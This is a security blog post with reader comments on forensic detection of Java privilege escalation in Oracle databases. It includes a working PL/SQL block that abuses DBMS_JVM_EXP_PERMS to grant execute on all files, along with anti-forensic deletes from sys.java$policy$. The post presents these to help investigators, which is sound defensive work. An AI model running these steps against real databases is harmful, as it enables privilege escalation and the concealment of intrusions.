Three Tier Oracle Security in London ~ Paul M. Wright

(nix, oracle, java, www, cloud ) intersect (safety, security, reliability, integrity)

Three Tier Oracle Security in London ~ Paul M. Wright RSS Feed
 

Java Forensics In Oracle

Java Forensics In Oracle ~ Part 1

As discussed in last week’s post there is a serious threat in all patched Oracle databases due to vulnerabilities in the Java privilege model as originally published by David. Last week I added the example of recreating the password file with a new SYS password in order to show the seriousness and variety of attacks possible using these new Java privilege vectors.

This week I want to show you how to ascertain whether or not Java privilege attacks have occurred in your database both as a precaution and for post incident forensics in order to verify if an attack of this nature has OR has not occurred.

Firstly lets look at the situation where an attacker uses DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY to grant themselves any Java privileges from CREATE SESSION due to the PUBLIC execute on DBMS_JVM_EXP_PERMS.

If your database is collecting error messages then look out for ORA-29532: error message on 10.2.0.4.x

SQL> DECLARE
  2  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3  CURSOR C1 IS SELECT 'GRANT','JAVATEST','SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
  4    5  FETCH C1 BULK COLLECT INTO POL;
  6  CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
  7    8  END;
  9  / 10
DECLARE
*
ERROR at line 1:
ORA-29532: Java call terminated by uncaught Java exception:
java.lang.SecurityException: policy table update java.lang.RuntimePermission,
loadLibrary.*
ORA-06512: at "SYS.DBMS_JVM_EXP_PERMS", line 189
ORA-06512: at line 8

The privilege escalation has still been successful so the error message is a bit misleading but could be a useful indicator.

SQL>  SELECT TYPE_NAME, NAME, ACTION FROM USER_JAVA_POLICY WHERE GRANTEE_NAME ='JAVATEST';

TYPE_NAME
--------------------------------------------------------------------------------
NAME
--------------------------------------------------------------------------------
ACTION
--------------------------------------------------------------------------------
java.io.FilePermission
<<ALL FILES>>
execute

Let’s focus on identifying the above Java privilege escalation.

Once Java privileges have been assigned there are multiple ways of using privilege to gain SYSDBA, and once gained, an attacker would clean the trail they had left behind, by first installing a rootkit, and then revoking privileges and dropping accounts that were created on the way. Thus the challenge of a forensic investigator is to look for clues that an attacker may not have been diligent enough to clean up.

So firstly how can we see if a user has granted themselves Java privileges?

DBA_JAVA_POLICY is the key view, and this helpfully shows all the java privileges granted chronologically using incrementing SEQuence number..


SELECT * FROM DBA_JAVA_POLICY ORDER BY seq desc;

KIND	GRANTEE	TYPE_SCHEMA	TYPE_NAME		  NAME			ACTION	ENABLED	SEQ
-----------------------------------------------------------------------------------------------------
GRANT   JAVATEST SYS  java.io.FilePermission	<<ALL FILES>>	execute	ENABLED	282
GRANT	SCOTT	SYS	java.io.FilePermission		<<ALL FILES>>	execute	ENABLED	242
GRANT	SYSTEM	SYS	java.lang.RuntimePermission	writeFileDescriptor	*	ENABLED	223
GRANT	SYSTEM	SYS	java.lang.RuntimePermission	readFileDescriptor	*	ENABLED	222

The important piece of information to note is that, if the Java privilege is subsequently revoked the privilege still shows in the DBA_JAVA_POLICY view and then shows as disabled. Thus the DBA_JAVA_POLICY view persists historical GRANTS, unlike DBA_TAB_PRIVS. But when the user is dropped, in this case JAVATEST, the privileges are removed..

DROP USER JAVATEST CASCADE;

SELECT * FROM dba_java_policy ORDER BY seq DESC;

--and the JAVATEST record has disappeared, which means that there is no evidence of JAVATEST having ever had the escalated privileges?

KIND	GRANTEE	TYPE_SCHEMA	TYPE_NAME		         NAME			ACTION	 ENABLED	 SEQ
-----------------------------------------------------------------------------------------------------
GRANT	SCOTT	SYS	java.io.FilePermission		<<ALL FILES>>	execute	ENABLED	242
GRANT	SYSTEM	SYS	java.lang.RuntimePermission	writeFileDescriptor	*	ENABLED	223
GRANT	SYSTEM	SYS	java.lang.RuntimePermission	readFileDescriptor	*	ENABLED	222

So if an attacker knows this, they are likely to drop the attacking account and recreate it if necessary as part of a post attack anti-forensics clean up.

However interestingly if we look at the sys.java$policy$ base table to the DBA_JAVA_POLICY view, we will see that the base table actually persists the Java grants, even after the user has been dropped!!! This is useful for a post incident investigation.

SELECT * FROM sys.java$policy$ ORDER BY key DESC;

KIND#	GRANTEE#	TYPE_SCHEMA#	TYPE_NAME	NAME	ACTION	STATUS#	KEY
-----------------------------------------------------------------------------------------------------
0	101	0	java.io.FilePermission	<<ALL FILES>>	execute	2	282
0	100	0	java.io.FilePermission	<<ALL FILES>>	execute	2	262
0	54	0	java.io.FilePermission	<<ALL FILES>>	execute	2	242

--Note that the GRANTEE# correlates to the sys.user$.USER# column and we can see 
-- that user 101 and 100 both had execute on<<ALL FILES>>
-- ,but these users no longer exist in sys.user$ and still the privs are recorded in sys.java$policy$ ~which could be very useful info..

SQL> select name from sys.user$ where user# in (101, 100);

no rows selected

SQL> select name from sys.user$ where user# in (54);

NAME
------------------------------
SCOTT

--Of course a clever attacker that had gained SYS could delete from the base table..

SQL> delete from sys.java$policy$ where key='242';

1 row deleted.

SQL> commit;

Commit complete.

--And the evidence of the escalation has gone.. How would an investigator see that the table had been modified in this case? 
--Tracing back further it would hopefully be possible to use the dba_tab_modifications view:

SQL> SELECT * FROM dba_tab_modifications WHERE table_name='JAVA$POLICY$'
  2  ;

no rows selected
--This empty result set is due to the fact that MONITORING is not set on this table by default. This could be rectified as follows in this example.
SQL> exec dbms_stats.gather_table_stats ('SYS','JAVA$POLICY$');

PL/SQL procedure successfully completed.

SQL> delete from sys.java$policy$ where key='282';

0 rows deleted.

SQL>  delete from sys.java$policy$ where key='242';

1 row deleted.

SQL> execute dbms_stats.flush_database_monitoring_info;

PL/SQL procedure successfully completed.

SQL> SELECT * FROM dba_tab_modifications WHERE table_name='JAVA$POLICY$';

TABLE_OWNER     TABLE_NAME      PARTITION_NAME      SUBPARTITION_NAME  INSERTS    UPDATES    DELETES TIMESTAMP TRU DROP_SEGMENTS
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------- ---------- 
SYS                 JAVA$POLICY$                                           0          0          1        31-MAR-10 NO              0

--It is unlikely that a DB will have had this default setting changed beforehand though.. 
--So what else can be done to see if the DBA_JAVA_POLICY table has been changed recently?

SQL> select scn_to_timestamp(Max(ora_rowscn)) from sys.java$policy$;

SCN_TO_TIMESTAMP(MAX(ORA_ROWSCN))
-----------------------------------------------------
30-MAR-10 06.10.06.000000000 PM

Note: this query will normally work up to 7 days after the change has occurred, so if you get this ORA-08181 error the table has probably not had DML on it for over that time.

ORA-08181: specified number is not a valid system change number

Also this query is dependant on the efficacy of the SCN.. as well as its mapping to timestamp in the table where this information is stored i.e. SYS.SMON_SCN_TIME. More to come on this in Part 2 hopefully next week..

BTW thanks greatly to HTC support in the UK, who are one of the best customer support teams I have dealt with. Really nice, knowledgeable and helpful people.
They got me connected to Vodafone Internet using the Nexus One in a few minutes, and connectivity is quicker than the WIFI connection.
I have Connectbot free SSH client connecting my Nexus to remote SSH in order to carry out Oracle commands remotely, and securely via the Nexus multi-touch screen. iPhone folks have been doing this for a while I know, so playing catchup but I like the open HTC hardware and google cloud connectivity through Android as well as the many new apps that are appearing on Google marketplace ~ so still pleased with the purchase on the whole, though I would like to know more about the steps that are being taken to review the security of applications that are being offered on the marketplace. Android SQL*PLUS client next ..

Until next time, keep safe and secure.

Cheers,
Paul

2 Responses to “Java Forensics In Oracle”

  1. 1
    Anon:

    So the entries for Java privilege grants of dropped users will also be useful to identify users playing with exploit code on our database.. nice work!

  2. 2
    Jason:

    The SCN update is not 100% .. “Oracle tracks SCNs by transaction committed for the block in which the row resides”
    see http://laurentschneider.com/wordpress/2006/08/select-last-rows.html

Leave a Reply

You must be logged in to post a comment.